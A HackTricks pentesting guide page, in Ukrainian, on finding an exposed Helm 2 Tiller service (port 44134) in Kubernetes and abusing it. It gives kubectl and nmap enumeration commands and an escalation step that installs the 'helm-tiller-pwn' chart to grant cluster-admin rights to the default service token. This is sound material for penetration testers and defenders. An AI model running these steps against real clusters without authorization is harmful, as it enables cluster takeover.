hacktricks/src/network-services-pentesting/44134-pentesting-tiller-helm.md

58 lines
4.2 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

{{#include ../banners/hacktricks-training.md}}
# Основна інформація
Helm є **менеджером пакетів** для Kubernetes. Він дозволяє пакувати YAML файли та розповсюджувати їх у публічних і приватних репозиторіях. Ці пакети називаються **Helm Charts**. **Tiller** є **сервісом**, який **запускається** за замовчуванням на порту 44134, пропонуючи цю послугу.
**Порт за замовчуванням:** 44134
```
PORT STATE SERVICE VERSION
44134/tcp open unknown
```
# Перерахування
Якщо ви можете **перерахувати поди та/або сервіси** різних просторових імен, перераховуйте їх і шукайте ті, що містять **"tiller" у своїй назві**:
```bash
kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"
```
Приклади:
```bash
kubectl get pods -n kube-system
NAME READY STATUS RESTARTS AGE
kube-scheduler-controlplane 1/1 Running 0 35m
tiller-deploy-56b574c76d-l265z 1/1 Running 0 35m
kubectl get services -n kube-system
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
```
Ви також можете спробувати знайти цю службу, перевіряючи порт 44134:
```bash
sudo nmap -sS -p 44134 <IP>
```
Як тільки ви його виявите, ви можете зв'язатися з ним, завантаживши клієнтський додаток helm. Ви можете використовувати інструменти, такі як `homebrew`, або переглянути [**сторінку офіційних релізів**](https://github.com/helm/helm/releases)**.** Для отримання додаткової інформації або інших варіантів дивіться [посібник з установки](https://v2.helm.sh/docs/using_helm/#installing-helm).
Тоді ви можете **перерахувати сервіс**:
```
helm --host tiller-deploy.kube-system:44134 version
```
## Підвищення привілеїв
За замовчуванням **Helm2** був встановлений у **namespace kube-system** з **високими привілеями**, тому якщо ви знайдете сервіс і матимете до нього доступ, це може дозволити вам **підвищити привілеї**.
Все, що вам потрібно зробити, це встановити пакет, подібний до цього: [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn), який надасть **доступ до всього в усьому кластері для токена сервісу за замовчуванням.**
```
git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart
```
В [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573) ви маєте **пояснення атаки**, але в основному, якщо ви прочитаєте файли [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) та [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) всередині _helm-tiller-pwn/pwnchart/templates/_ ви можете побачити, як **всі привілеї надаються за замовчуванням токену**.
{{#include ../banners/hacktricks-training.md}}